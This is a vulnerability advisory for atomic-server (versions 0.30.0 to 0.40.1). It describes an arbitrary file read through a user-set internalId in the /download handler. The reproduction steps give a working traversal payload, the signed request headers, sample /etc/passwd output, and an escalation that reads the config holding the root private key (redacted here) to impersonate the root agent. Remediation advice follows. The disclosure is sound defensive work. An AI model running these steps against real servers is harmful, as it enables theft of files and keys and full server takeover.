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Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)

متن اصلی

نسخه‌های متأثر

Rust / Cargoatomic-server
نسخه‌های متأثر
>= 0.30.0, <= 0.40.1
نسخهٔ اصلاح‌شده
اعلام نشده

شرح آسیب‌پذیری

Summary

The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.

Affected component

  • server/src/handlers/download.rs:56-65 — file_path.push(internal_id) + NamedFile::open, no sanitization, no File-class check.

  • lib/src/commit.rs (apply_changes) — sets any property; no server-managed-property denylist.

Steps to Reproduce

Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).

  1. Create a resource and set internalId to a traversal path — sign the Commit and POST /commit (200):

subject = http://localhost:9883/pwnfile
set = {
  "https://atomicdata.dev/properties/parent": "http://localhost:9883",
  "https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
  1. Download it. The auth signature is over the resolved subject (the server strips the /download prefix → http://localhost:9883/pwnfile):

GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>

Response 200 OK returns the host /etc/passwd:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
  1. Escalate — set internalId = /atomic-storage/config/config.toml (absolute path) and download again:

server      = "http://localhost:9883"
agent       = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY"   # server root agent key
  1. Using the stolen key, the attacker signs a Commit with signer = <root agent> → POST /commit (200) edits data as root. Full compromise.

Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path. Actual: Arbitrary host file read, including the root private key.

Impact

Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.

Remediation

  • In download.rs: sanitize_filename(internal_id), then canonicalize and assert the resolved path stays within uploads_path before opening; verify the resource is a File.

  • Add a server-managed-property denylist (internalId, rights arrays, etc.) in lib/src/commit.rs so clients cannot set them.

پیوندها

گزارش‌دهندگان

  • luuhung1217